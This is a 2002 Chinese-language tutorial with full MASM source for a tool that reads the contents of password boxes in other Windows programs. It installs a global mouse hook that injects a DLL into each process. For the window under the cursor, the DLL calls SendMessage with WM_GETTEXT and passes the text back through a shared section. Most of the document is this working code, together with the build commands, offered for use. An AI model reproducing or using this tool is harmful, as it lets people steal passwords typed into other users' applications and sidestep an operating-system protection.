利用滑鼠鉤子獲得Win2000密碼框密碼

看雪資料發表於2002-10-08

獲得Windows下的密碼框密碼,似乎是很多人感興趣的話題,CSDN上問這類問題的人不計其數……這樣看來,老羅也不能免俗啦,今天就讓我跟大家探討一下如何實現這一功能吧。^_^

我們知道,Windows下有一條功能很強勁的函式――SendMessage(),利用它能夠實現很多意想不到的功能,例如獲得密碼框的密碼就是其中一例。我們可以這樣做:

char szPsw[255];
SendMessage(hWnd, WM_GETTEXT, 255, (LPARAM)(LPCTSTR)szPsw);

透過傳送訊息 WM_GETTEXT 給目標視窗控制程式碼,我們就能夠獲得密碼框的密碼了,可是它還有一點不足,就是無法在 Win2000/WinXP 裡面獲得密碼。這是因為 Win2000 對這個方法作了防範(當然啦,老比因為這個問題已經業界被罵死了),只要你是對其他程式進行這個操作,就會失效。呵呵,這也就是為什麼很多同類的軟體到了 Win2000 就死翹翹的原因。 :)

那麼是否就毫無辦法了呢?當然不是!我們已經知道了失敗的原因,就是不能在別的程式中使用這一函式……嗯?……聰明的你是不是已經想到了什麼?

對了,只要我們能夠在同一個程式中使用它,就可以實現了!如何做到“同一個程式”?呵呵,這又是一個問題。《Windows核心程式設計》的大牛 Jeffrey Richter 告訴我們,實現“同一程式”的辦法有很多種,例如有透過登錄檔來插入DLL、使用遠端執行緒插入DLL、使用特洛伊DLL來插入DLL、透過記憶體對映檔案插入DLL……方法真的是有很多種,它們都能實現“同一個程式”這一目的,不過老羅覺得都不太理想,例如,使用遠端執行緒是透過 CreateRemoteThread() 來插入DLL,但是這個 CreateRemoteThread() 在MSDN中是明確指出了不能在 Win9X 中使用的,也就是說,通用性要大打折扣。所以最後我決定使用滑鼠鉤子函式來實現!

聰明的讀者可能還會問道:為什麼用滑鼠鉤子就能實現了?其實答案很簡單,因為密碼框是一個 EDIT 控制元件,它肯定能夠接收到滑鼠訊息,這樣,我們的滑鼠鉤子函式就能夠注入到遠端的目標程式,這時的 SendMessage() 就是跟目標程式在同一個程式裡面,是可以取出密碼的。而且它有個非常好的地方:就是通用性強,理論上任何一個版本的 Windows 都能使用!!(我沒有 WinXP ,所以只好說“理論上”啦,請有裝 XP 的朋友幫忙試試,OK?)

明白了吧?最後還有一個細節問題――密碼是在滑鼠鉤子函式里面獲得的,那麼如何返回給我們的主程式?老羅的做法是把密碼作為全域性共享變數,這樣就可以在兩個程式裡面共享,我們的主程式就可以輸出結果啦!

說了一大通廢話,希望大家不要介意。下面我給出一個完整的例子,透過滑鼠鉤子函式注入遠端程式獲得任何一個版本 Windows 的密碼框密碼。(呵呵,好拗口啊!啊!別扔番茄!!)


---------- 滑鼠鉤子函式的DLL ----------
檔名: HookDll.asm
--------------------------------------

;******************************************************
;程式名稱:獲取密碼框的密碼,適用於Win9x/WinMe/Win2000/WinXP
;作者:羅聰
;日期:2002-10-8
;出處:http://www.luocong.com(老羅的繽紛天地)
;注意事項:如欲轉載,請保持本程式的完整,並註明:
;轉載自“老羅的繽紛天地”(http://www.luocong.com)
;******************************************************

.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

DllEntry        proto :HINSTANCE, :DWORD, :DWORD
MouseProc       proto :DWORD, :DWORD, :DWORD
GetPsw          proto
InstallHook     proto :DWORD
UninstallHook   proto

.const
WM_MOUSEHOOK    equ    WM_USER + 6

;共享段:
.data?
hHook           dd    ?
hWnd            dd    ?
szPsw           db    255 dup(?)        ;關鍵語句!!!共享這個變數szPsw,以便在主程式中也能得到密碼!

.data
hInstance        HINSTANCE    0

.code
DllEntry    proc    hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
   .if reason == DLL_PROCESS_ATTACH
       push hInst
       pop hInstance
   .endif
   mov eax, TRUE
   ret
DllEntry    endp

GetPsw        proc
   ;關鍵!!返回密碼!(前提是密碼必須放在共享段!)
   lea eax, szPsw
   ret
GetPsw        endp

MouseProc    proc    uses edx    nCode:DWORD, wParam:DWORD, lParam:DWORD
   invoke CallNextHookEx, hHook, nCode, wParam, lParam
   mov edx, lParam
   assume edx: PTR MOUSEHOOKSTRUCT
       ;獲得當前滑鼠位置的視窗控制程式碼:
       invoke WindowFromPoint, [edx].pt.x, [edx].pt.y
       ;傳送一個訊息給當前視窗,獲得它的標題:
       invoke SendMessage, eax, WM_GETTEXT, 255, addr szPsw
       ;傳送一個訊息給主程式,以便在主程式中能處理滑鼠鉤子函式:
       invoke PostMessage, hWnd, WM_MOUSEHOOK, 0, 0
   assume edx: nothing
   xor eax, eax
   ret
MouseProc    endp

InstallHook    proc    hwnd:DWORD
   ;啟動滑鼠鉤子函式:
   push hwnd
   pop hWnd
   invoke SetWindowsHookEx, WH_MOUSE, addr MouseProc, hInstance, NULL
   mov hHook, eax
   ret
InstallHook    endp

UninstallHook    proc
   ;解除安裝滑鼠鉤子函式:
   invoke UnhookWindowsHookEx, hHook
   ret
UninstallHook    endp

end DllEntry
;********************    over    ********************
;by LC


編譯這個DLL的時候記住要這樣:(否則會失敗哦!)
ml /c /coff HookDll.asm
link /section:.bss,S /DLL /subsystem:windows /def:HookDll.def HookDll.obj


---------- 主程式呼叫 ----------
檔名: GetPsw.asm
-------------------------------

;******************************************************
;程式名稱:獲取密碼框的密碼,適用於Win9x/WinMe/Win2000/WinXP
;作者:羅聰
;日期:2002-10-8
;出處:http://www.luocong.com(老羅的繽紛天地)
;注意事項:如欲轉載,請保持本程式的完整,並註明:
;轉載自“老羅的繽紛天地”(http://www.luocong.com)
;******************************************************

.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include HookDll.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib HookDll.lib

WndProc            proto :DWORD, :DWORD, :DWORD, :DWORD

.const
IDC_EDIT_OUTPUT      equ    3000
WM_MOUSEHOOK         equ    WM_USER + 6

.data
szDlgName            db    "lc_dialog", 0
szPsw                db    255 dup(0)

.code
main:
   invoke GetModuleHandle, NULL
   invoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0
   invoke ExitProcess, eax

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
   LOCAL rect: RECT

   .if uMsg == WM_CLOSE
       ;解除安裝滑鼠鉤子:
       invoke UninstallHook
       invoke EndDialog, hWnd, 0

   .elseif uMsg == WM_INITDIALOG
       ;獲得主程式的rect:
       invoke GetWindowRect, hWnd, addr rect
       ;把主程式設定成“始終在最前面”:
       invoke SetWindowPos, hWnd, HWND_TOPMOST, rect.left, rect.top, rect.right, rect.bottom, SWP_SHOWWINDOW
       ;滑鼠鉤子函式啟動:
       invoke InstallHook, hWnd

   ;處理滑鼠鉤子函式的訊息:
   .elseif uMsg == WM_MOUSEHOOK
       ;獲得密碼:
       invoke GetPsw
       ;輸出:
       invoke SetDlgItemText, hWnd, IDC_EDIT_OUTPUT, eax
       
   .else
       mov eax, FALSE
       ret
   .endif
   mov eax, TRUE
   ret
WndProc endp

end main
;********************    over    ********************
;by LC


---------- 主程式的資原始檔 ----------
檔名: GetPsw.rc
-------------------------------------

#include "resource.h"

#define IDC_EDIT_OUTPUT        3000
#define IDC_STATIC             -1

LC_DIALOG DIALOGEX 0, 0, 195, 30
style DS_SETFONT | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "Get Password by LC, 2002-10-8"
FONT 9, "宋體", 0, 0, 0x0
BEGIN
   LTEXT           "看看有什麼:", IDC_STATIC, 5, 12, 50, 12
   EDITTEXT        IDC_EDIT_OUTPUT, 60, 10, 130, 12, ES_AUTOHSCROLL | NOT WS_BORDER, WS_EX_STATICEDGE
END


怎麼樣?看明白了嗎?如果你還不太懂得滑鼠鉤子函式的編寫,請先參考 Iczelion 的教程,到處都有哦!
假如還有什麼疑問,那是我的水平問題,沒跟大家解釋得足夠清楚,到時還請來信與我探討!lcother@163.net  
 

老羅於
2002-10-8


老羅的繽紛天地
http://www.luocong.com

相關文章